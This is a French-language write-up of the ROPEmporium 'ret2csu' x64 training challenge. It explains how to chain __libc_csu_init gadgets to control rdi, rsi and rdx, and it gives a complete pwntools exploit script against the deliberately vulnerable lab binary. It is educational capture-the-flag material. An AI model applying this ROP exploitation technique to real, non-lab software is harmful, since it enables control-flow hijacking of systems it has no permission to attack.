9 minutes
🇫🇷 ROPEmporium - ret2csu (x64)
Note
Dernier exercice de ROPEmporium, j’ai effectivement sauté fluff et pivot puisque je voulais apprendre cette technique car je l’ai rencontrée lors d’un CTF. Je reviendrai peut-être sur pivot mais je ne pense pas faire fluff puisqu’il est bien trop chiant.
Je vais essayer d’expliquer au mieux ce que j’ai compris du ret2csu.
Comme d’habitude, si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.
Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.
Et cet exercice reprend le principe de callme, donc si vous n’avez pas lu mon writeup sur ce dernier je vous conseille d’y jeter un oeil.
Description
Same same, but different
This challenge is very similar to "callme", with the exception of the useful gadgets. Simply call the `ret2win()` function in the accompanying library with same arguments that you used to beat the "callme" challenge (`ret2win(0xdeadbeef, 0xcafebabe, 0xd00df00d)` for the ARM & MIPS binaries, `ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)` for the x86_64 binary.
Populating the elusive 3rd register using ROP can prove more difficult than you might expect, especially in smaller binaries with fewer gadgets. This can become particularly irksome since many useful GLIBC functions require three arguments.
So little room for activities
Start by using ropper to search for sensible gadgets, if there's no `pop rdx` for example, perhaps there's a `mov rdx, rbp` that you could chain with a `pop rbp`. If you're all out of ideas go ahead and read the last paragraph.
Universal
Fortunately some very smart people have come up with a solution to your problem and as is customary in infosec given it a collection of pretentious names, including "Universal ROP", "μROP", "return-to-csu" or just "ret2csu". You can learn all you need to on the subject from this [BlackHat Asia paper](https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf). Note that more recent versions of gcc may use different registers from the example in `__libc_csu_init()`, including the version that compiled this challenge.
File information
Avant de commencer à regarder l’executable, il faut savoir à quoi on s’attaque, on va utiliser file
pour avoir des informations sur le fichier, puis checksec
pour voir les éventuelles sécuritées avec lesquelles il a été compilé
file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped
On va donc s’attaquer à un executable en 64bit, qui n’est pas strippé
Maintenant le checksec
:
checksec ret2csu
[*] '/home/conflict/ropemporium/ret2csu_x64/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: '.'
Comme pour les autres exercices NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire.
Exploitation
Pour rappel, le but de cet exercice est d’appeller la fonction ret2win()
avec en paramètres 0xdeadbeefdeadbeef
, 0xcafebabecafebabe
et 0xd00df00dd00df00d
.
Même si ça paraît simple, on va vite se rendre compte que certains gadgets manquent…
Commençons par essayer de trouver des quoi modifier les trois registres nécessaires: rdi
, rsi
et rdx
:
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
On voit qu’on a un pop rdi
, un pop rsi
mais pas de pop rdx
, donc impossible de modifier la valeur de rdx
.
Voyons voir si un mov
pourrait nous aider:
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
Non, rien d’utile ici… On va donc devoir effectuer un ret2csu
pour pouvoir modifier nos trois registres.
Dans la plupart des éxecutables ELF
, on retrouve une fonction nommée __libc_csu_init
(si vous voulez savoir en détail ce qu’elle fait, je vous invite à lire ceci). C’est cette dernière qui va nous permettre de contrôler (entre autres) rdx
.
On peut la désassembler pour voir un peu à quoi elle ressemble:
disass __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x0000000000400640 <+0>: push r15
0x0000000000400642 <+2>: push r14
0x0000000000400644 <+4>: mov r15,rdx
0x0000000000400647 <+7>: push r13
0x0000000000400649 <+9>: push r12
0x000000000040064b <+11>: lea r12,[rip+0x20079e] # 0x600df0
0x0000000000400652 <+18>: push rbp
0x0000000000400653 <+19>: lea rbp,[rip+0x20079e] # 0x600df8
0x000000000040065a <+26>: push rbx
0x000000000040065b <+27>: mov r13d,edi
0x000000000040065e <+30>: mov r14,rsi
0x0000000000400661 <+33>: sub rbp,r12
0x0000000000400664 <+36>: sub rsp,0x8
0x0000000000400668 <+40>: sar rbp,0x3
0x000000000040066c <+44>: call 0x4004d0 <_init>
0x0000000000400671 <+49>: test rbp,rbp
0x0000000000400674 <+52>: je 0x400696 <__libc_csu_init+86>
0x0000000000400676 <+54>: xor ebx,ebx
0x0000000000400678 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040068d <+77>: add rbx,0x1
0x0000000000400691 <+81>: cmp rbp,rbx
0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>
0x0000000000400696 <+86>: add rsp,0x8
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
End of assembler dump.
Comme vous l’avez peut-être remarqué, on retrouve une série d’instructions pop
suivies d’un ret
, et au dessus, des instructions mov
qui placent les valeurs des registres modifiés en dessous dans rdx
, rsi
et edi
.
Le principe du ret2csu
est donc de jump au premier pop rbx
, puis une fois à l’instruction ret
, jump sur le premier mov rdx, r15
pour avoir le contrôle sur le contenu du registre rdx
ainsi que rsi
et edi
.
Vous l’avez peut-être remarqué, mais le dernier mov
est un mov edi, r13d
et non pas un mov rdi, r13
, on devra donc re-modifier la valeur de rdi
après ceci mais ce n’est pas un problème puisque nous avons un pop rdi ; ret
pour le faire.
Commençons notre exploit avec tout d’abord le padding et la première partie:
Je n’explique pas comment trouver les adresses utilisées puisque je pars du principe que vous avez vu les précédents writeups et que vous savez le faire, si ce n’est pas le cas vous pouvez allez voir les premiers exercices
#!/usr/bin/env python3
from pwn import *
exe = ELF("ret2csu")
context.binary = exe
def conn():
r = process([exe.path])
return r
def main():
r = conn()
padding = b'A'*32 + b'B'*8
init = 0x600e38
win = 0x400510
pop_rdi = 0x4006a3
ret = 0x4004e6
csu_pops = 0x40069a
csu_movs = 0x400680
payload = padding # Padding de 40 bytes pour commencer à réecrire RIP
payload += p64(ret) # Patch l'alignement de la stack (Ubuntu)
payload += p64(csu_pops) # Pop rbx, rbp, r12, r13, r14, r15
payload += p64(0x00) # 0 dans RBX
payload += p64(0x01) # 1 dans RBP pour que la comparaison RBX === RBP soit vraie
# (la valeur de RBX sera incrémentée de 1 avant la comparaison)
payload += p64(init) # r12 = init (pour le call QWORD PTR [r12+rbx*8] d'après)
payload += p64(0xdeadbeefdeadbeef) # r13
payload += p64(0xcafebabecafebabe) # r14
payload += p64(0xd00df00dd00df00d) # r15
Ici, on va donc jump sur la série de pop
. On met tout d’abord 0
dans rbx
et 1
dans RBP
puisque si on regarde les lignes qui suivent les mov
on voit ceci:
add rbx,0x1
cmp rbp,rbx
jne 0x400680 <__libc_csu_init+64>
Ici, on ajoute 1
à la valeur de rbx
puis on compare les registres rbp
et rbx
et si il ne sont pas égaux on jump plus haut dans la fonction, or ce n’est pas ce qu’on veut. On fait donc en sorte que les deux valeurs soient égales lors de la comparaison.
La valeur init
mise dans r12
est une valeur arbitraire, elle permet de mener à bien le call QWORD PTR [r12+rbx*8]
qui suit.
Enfin, on place nos paramètres voulus dans r13
, r14
et r15
puisque ce seront les valeurs qui finiront dans rdx
, rsi
et edi
.
Passons maintenant à la deuxième partie de l’exploit:
payload += p64(csu_movs) # rdx = r15, rsi = r14, edi = r13d
payload += p64(0x00) # Puisque qu'il n'y a pas de ret après les mov
payload += p64(0x00) # on va re-pop rbx, rbp, r12 etc...
payload += p64(0x00) # et on les remplis donc de null bytes
payload += p64(0x00) # puisqu'on ne va plus les utiliser
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(pop_rdi) # On remet la bonne valeur dans rdi
payload += p64(0xdeadbeefdeadbeef)
payload += p64(ret)
payload += p64(win)
r.sendline(payload)
print("Flag:", r.recvall().split(b'\n')[6].decode('utf-8'))
if __name__ == "__main__":
main()
Cette fois, on saute donc à la série de mov
. Après cette dernière, puisque la comparaison est validée, les valeurs des registres rbx
, rbp
, r12
, r13
, r14
et r15
sont re-modifiées et on doit donc y mettre des null bytes.
Enfin, on pop rdi
, on y remet notre paramètre et on jump sur la fonction ret2win
.
Final Payload
Voici donc l’exploit complet:
#!/usr/bin/env python3
from pwn import *
exe = ELF("ret2csu")
context.binary = exe
def conn():
r = process([exe.path])
return r
def main():
r = conn()
padding = b'A'*32 + b'B'*8
init = 0x600e38
win = 0x400510
pop_rdi = 0x4006a3
ret = 0x4004e6
csu_pops = 0x40069a
csu_movs = 0x400680
payload = padding # Padding de 40 bytes pour commencer à réecrire RIP
payload += p64(ret) # Patch l'alignement de la stack (Ubuntu)
payload += p64(csu_pops) # Pop rbx, rbp, r12, r13, r14, r15
payload += p64(0x00) # 0 dans RBX
payload += p64(0x01) # 1 dans RBP pour que la comparaison RBX === RBP soit vraie
# (la valeur de RBX sera incrémentée de 1 avant la comparaison)
payload += p64(init) # r12 = init (pour le call QWORD PTR [r12+rbx*8] d'après)
payload += p64(0xdeadbeefdeadbeef) # r13
payload += p64(0xcafebabecafebabe) # r14
payload += p64(0xd00df00dd00df00d) # r15
payload += p64(csu_movs) # rdx = r15, rsi = r14, edi = r13d
payload += p64(0x00) # Puisque qu'il n'y a pas de ret après les mov
payload += p64(0x00) # on va re-pop rbx, rbp, r12 etc...
payload += p64(0x00) # et on les remplis donc de null bytes
payload += p64(0x00) # puisqu'on ne va plus les utiliser
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(pop_rdi) # On remet la bonne valeur dans rdi
payload += p64(0xdeadbeefdeadbeef)
payload += p64(ret)
payload += p64(win)
r.sendline(payload)
print("Flag:", r.recvall().split(b'\n')[6].decode('utf-8'))
if __name__ == "__main__":
main()
On peut vérifier qu’il fonctionne:
GG !